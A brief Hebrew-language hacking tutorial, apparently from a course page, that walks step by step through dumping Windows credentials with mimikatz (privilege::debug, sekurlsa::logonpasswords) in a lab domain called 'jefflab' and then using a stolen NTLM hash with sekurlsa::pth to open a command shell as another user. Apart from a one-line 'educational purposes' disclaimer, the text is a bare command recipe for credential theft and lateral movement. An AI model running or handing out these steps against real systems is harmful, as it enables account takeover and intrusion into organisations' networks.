קודם כל אתם צריכים להוריד mimikatz trunk לחץ כאן
this course is for educational purposes and you are the only person responsible for your actions
1.log hash.txt
2.privilege::debug
3.sekurlsa::logonpasswords
4.יש לכם את כל המשתמשים בdomain jefflab
5.קחו את הhash של איזה משתמש שאתם רוצים ו יהיה לכם 2 אופציות
1.להתחבר עליו עכשיו זה מה שנראה פה
2.לפרוץ את כל הסיסמאות ולעשות pivoting לחץ כאן
6.sekurlsa::pth /user (all user you want ) /domain(name of the domain) /ntlm:(the NTLM HASH) /run:cmd
7.ואתם ב tony.wonder
